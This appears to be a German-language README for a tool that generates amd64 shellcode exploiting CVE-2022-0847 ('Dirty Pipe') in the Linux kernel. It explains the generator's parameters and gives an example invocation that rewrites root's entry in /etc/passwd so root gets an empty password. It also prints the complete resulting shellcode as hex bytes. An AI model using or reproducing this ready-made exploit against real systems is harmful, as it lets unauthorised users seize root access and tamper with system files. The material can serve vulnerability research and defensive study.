
Implementierung von CVE-2022-0847 als Shellcode
Dieses Repository enthält ein Python-Skript (gen_shellcode.py), basierend auf pwntools, um einen Shellcode zu generieren, der CVE-2022-0847 umsetzt.
Der Shellcode basiert auf diesem PoC: antx.
Ich habe den Code des PoCs und dessen Ausführung mit strace analysiert, um alle Systemaufrufe zu erfassen, die für den Exploit erforderlich sind. Zuerst habe ich ein C-Programm geschrieben, das syscall.h verwendet; es war noch nicht für einen Shellcode geeignet, aber es ist als Referenz gut, also habe ich es hier abgelegt (tiny_cve-2022-0847.c).
Die Funktion, die den Shellcode generiert, nimmt 3 Parameter entgegen: Pfad der Datei, in die geschrieben werden soll, Daten, die geschrieben werden sollen, und Offset, an dem die Daten geschrieben werden müssen.
Ein Beispiel eines generierten Shellcodes im Disassemblierungsformat von objdump findet sich in shellcode.asm; es wurde mit den folgenden Parametern erzeugt:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4Es hinterlässt root mit einem leeren Passwort.
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
Die Funktion cve_2022_0847, die den Shellcode generiert, kann importiert werden, um sie in anderen Skripten aufzurufen, oder dieses Skript direkt verwendet werden; es gibt eine Funktion example_usage, die cve_2022_0847 aufruft und eine ELF-Datei mit dem Shellcode erstellt.
cve_2022_0847 führt außerdem einige grundlegende Plausibilitätsprüfungen durch und gibt aus, was mit dem Exploit schiefgehen kann, sowie den disassemblierten Shellcode, wenn der Parameter verbose gesetzt ist.
Sie gibt den assemblierten Shellcode zurück. Die Funktion main ruft cve_2022_0847 mit den Befehlszeilenparametern auf und gibt den resultierenden Shellcode im C-Stil als Hex aus, d.h. ohne dekodierbare Bytes zu dekodieren. Zum Beispiel:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
Unterstützte Architektur ist nur amd64.